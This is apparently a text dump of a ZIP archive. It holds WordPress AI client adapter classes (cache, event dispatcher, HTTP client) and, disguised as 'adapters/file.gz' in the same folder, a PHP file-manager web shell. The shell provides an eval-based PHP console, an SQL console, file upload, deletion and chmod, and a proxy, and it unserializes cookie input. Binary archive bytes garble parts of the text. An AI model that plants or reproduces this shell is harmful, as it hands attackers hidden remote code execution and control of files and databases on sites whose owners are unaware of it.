PKA\tM{%adapters/class-wp-ai-client-cache.phpnuȯttl_to_seconds( $ttl ); return wp_cache_set( $key, $value, self::CACHE_GROUP, $expire ); } /** * Delete an item from the cache by its unique key. * * @since 7.0.0 * * @param string $key The unique cache key of the item to delete. * @return bool True if the item was successfully removed. False if there was an error. */ public function delete( $key ): bool { return wp_cache_delete( $key, self::CACHE_GROUP ); } /** * Wipes clean the entire cache's keys. * * This method only clears the cache group used by this adapter. If the underlying * cache implementation does not support group flushing, this method returns false. * * @since 7.0.0 * * @return bool True on success and false on failure. */ public function clear(): bool { if ( ! function_exists( 'wp_cache_supports' ) || ! wp_cache_supports( 'flush_group' ) ) { return false; } return wp_cache_flush_group( self::CACHE_GROUP ); } /** * Obtains multiple cache items by their unique keys. * * @since 7.0.0 * * @param iterable $keys A list of keys that can be obtained in a single operation. * @param mixed $default_value Default value to return for keys that do not exist. * @return array A list of key => value pairs. */ public function getMultiple( $keys, $default_value = null ): array { /** * Keys array. * * @var array $keys_array */ $keys_array = $this->iterable_to_array( $keys ); $values = wp_cache_get_multiple( $keys_array, self::CACHE_GROUP ); $result = array(); foreach ( $keys_array as $key ) { if ( false === $values[ $key ] ) { // Could be a stored false or a cache miss — disambiguate via get(). $result[ $key ] = $this->get( $key, $default_value ); } else { $result[ $key ] = $values[ $key ]; } } return $result; } /** * Persists a set of key => value pairs in the cache, with an optional TTL. * * @since 7.0.0 * * @param iterable $values A list of key => value pairs for a multiple-set operation. * @param null|int|DateInterval $ttl Optional. The TTL value of this item. * @return bool True on success and false on failure. */ public function setMultiple( $values, $ttl = null ): bool { $values_array = $this->iterable_to_array( $values ); $expire = $this->ttl_to_seconds( $ttl ); $results = wp_cache_set_multiple( $values_array, self::CACHE_GROUP, $expire ); // Return true only if all operations succeeded. return ! in_array( false, $results, true ); } /** * Deletes multiple cache items in a single operation. * * @since 7.0.0 * * @param iterable $keys A list of string-based keys to be deleted. * @return bool True if the items were successfully removed. False if there was an error. */ public function deleteMultiple( $keys ): bool { $keys_array = $this->iterable_to_array( $keys ); $results = wp_cache_delete_multiple( $keys_array, self::CACHE_GROUP ); // Return true only if all operations succeeded. return ! in_array( false, $results, true ); } /** * Determines whether an item is present in the cache. * * @since 7.0.0 * * @param string $key The cache item key. * @return bool True if the item exists in the cache, false otherwise. */ public function has( $key ): bool { $found = false; wp_cache_get( $key, self::CACHE_GROUP, false, $found ); return (bool) $found; } /** * Converts a PSR-16 TTL value to seconds for WordPress cache functions. * * @since 7.0.0 * * @param null|int|DateInterval $ttl The TTL value. * @return int The TTL in seconds, or 0 for no expiration. */ private function ttl_to_seconds( $ttl ): int { if ( null === $ttl ) { return 0; } if ( $ttl instanceof DateInterval ) { $now = new DateTime(); $end = ( clone $now )->add( $ttl ); return $end->getTimestamp() - $now->getTimestamp(); } return max( 0, (int) $ttl ); } /** * Converts an iterable to an array. * * @since 7.0.0 * * @param iterable $items The iterable to convert. * @return array The array. */ private function iterable_to_array( $items ): array { if ( is_array( $items ) ) { return $items; } return iterator_to_array( $items ); } } PKA\ 0adapters/class-wp-ai-client-event-dispatcher.phpnuȯget_hook_name_portion_for_event( $event ); /** * Fires when an AI client event is dispatched. * * The dynamic portion of the hook name, `$event_name`, refers to the * snake_case version of the event class name, without the `_event` suffix. * * For example, an event class named `BeforeGenerateResultEvent` will fire the * `wp_ai_client_before_generate_result` action hook. * * In practice, the available action hook names are: * * - wp_ai_client_before_generate_result * - wp_ai_client_after_generate_result * * @since 7.0.0 * * @param object $event The event object. */ do_action( "wp_ai_client_{$event_name}", $event ); return $event; } /** * Converts an event object class name to a WordPress action hook name portion. * * @since 7.0.0 * * @param object $event The event object. * @return string The hook name portion derived from the event class name. */ private function get_hook_name_portion_for_event( object $event ): string { $class_name = get_class( $event ); $pos = strrpos( $class_name, '\\' ); $short_name = false !== $pos ? substr( $class_name, $pos + 1 ) : $class_name; // Convert PascalCase to snake_case. $snake_case = strtolower( (string) preg_replace( '/([a-z])([A-Z])/', '$1_$2', $short_name ) ); // Strip '_event' suffix if present. if ( str_ends_with( $snake_case, '_event' ) ) { $snake_case = (string) substr( $snake_case, 0, -6 ); } return $snake_case; } } PKA\x//+adapters/class-wp-ai-client-http-client.phpnuȯresponse_factory = $response_factory; $this->stream_factory = $stream_factory; } /** * Sends a PSR-7 request and returns a PSR-7 response. * * @since 7.0.0 * * @param RequestInterface $request The PSR-7 request. * @return ResponseInterface The PSR-7 response. * * @throws NetworkException If the WordPress HTTP request fails. */ public function sendRequest( RequestInterface $request ): ResponseInterface { $args = $this->prepare_wp_args( $request ); $url = (string) $request->getUri(); $response = wp_safe_remote_request( $url, $args ); if ( is_wp_error( $response ) ) { $message = sprintf( /* translators: 1: HTTP method (e.g. GET, POST). 2: Request URL. 3: Error message. */ __( 'Network error occurred while sending %1$s request to %2$s: %3$s' ), $request->getMethod(), $url, $response->get_error_message() ); throw new NetworkException( $message ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped } return $this->create_psr_response( $response ); } /** * Sends a PSR-7 request with transport options and returns a PSR-7 response. * * @since 7.0.0 * * @param RequestInterface $request The PSR-7 request. * @param RequestOptions $options Transport options for the request. * @return ResponseInterface The PSR-7 response. * * @throws NetworkException If the WordPress HTTP request fails. */ public function sendRequestWithOptions( RequestInterface $request, RequestOptions $options ): ResponseInterface { $args = $this->prepare_wp_args( $request, $options ); $url = (string) $request->getUri(); $response = wp_safe_remote_request( $url, $args ); if ( is_wp_error( $response ) ) { $message = sprintf( /* translators: 1: Request URL. 2: Error message. */ __( 'Network error occurred while sending request to %1$s: %2$s' ), $url, $response->get_error_message() ); throw new NetworkException( $message, // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped $response->get_error_code() ? (int) $response->get_error_code() : 0 ); } return $this->create_psr_response( $response ); } /** * Prepares WordPress HTTP API arguments from a PSR-7 request. * * @since 7.0.0 * * @param RequestInterface $request The PSR-7 request. * @param RequestOptions|null $options Optional transport options for the request. * @return array WordPress HTTP API arguments. */ private function prepare_wp_args( RequestInterface $request, ?RequestOptions $options = null ): array { $args = array( 'method' => $request->getMethod(), 'headers' => $this->prepare_headers( $request ), 'body' => $this->prepare_body( $request ), 'httpversion' => $request->getProtocolVersion(), 'blocking' => true, ); if ( null !== $options ) { if ( null !== $options->getTimeout() ) { $args['timeout'] = $options->getTimeout(); } if ( null !== $options->getMaxRedirects() ) { $args['redirection'] = $options->getMaxRedirects(); } } return $args; } /** * Prepares headers for WordPress HTTP API. * * @since 7.0.0 * * @param RequestInterface $request The PSR-7 request. * @return array Headers array for WordPress HTTP API. */ private function prepare_headers( RequestInterface $request ): array { $headers = array(); foreach ( $request->getHeaders() as $name => $values ) { $headers[ (string) $name ] = implode( ', ', $values ); } return $headers; } /** * Prepares request body for WordPress HTTP API. * * @since 7.0.0 * * @param RequestInterface $request The PSR-7 request. * @return string|null The request body. */ private function prepare_body( RequestInterface $request ): ?string { $body = $request->getBody(); if ( $body->getSize() === 0 ) { return null; } if ( $body->isSeekable() ) { $body->rewind(); } return (string) $body; } /** * Creates a PSR-7 response from a WordPress HTTP response. * * @since 7.0.0 * * @param array $wp_response WordPress HTTP API response array. * @return ResponseInterface PSR-7 response. */ private function create_psr_response( array $wp_response ): ResponseInterface { $status_code = wp_remote_retrieve_response_code( $wp_response ); $reason_phrase = wp_remote_retrieve_response_message( $wp_response ); $headers = wp_remote_retrieve_headers( $wp_response ); $body = wp_remote_retrieve_body( $wp_response ); $response = $this->response_factory->createResponse( (int) $status_code, $reason_phrase ); if ( $headers instanceof WP_HTTP_Requests_Response ) { $headers = $headers->get_headers(); } if ( is_array( $headers ) || $headers instanceof Traversable ) { foreach ( $headers as $name => $value ) { $response = $response->withHeader( $name, $value ); } } if ( ! empty( $body ) ) { $stream = $this->stream_factory->createStream( $body ); $response = $response->withBody( $stream ); } return $response; } } PKA\n2adapters/class-wp-ai-client-discovery-strategy.phpnuȯPKA\ĦAAadapters/file.gznu[ true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '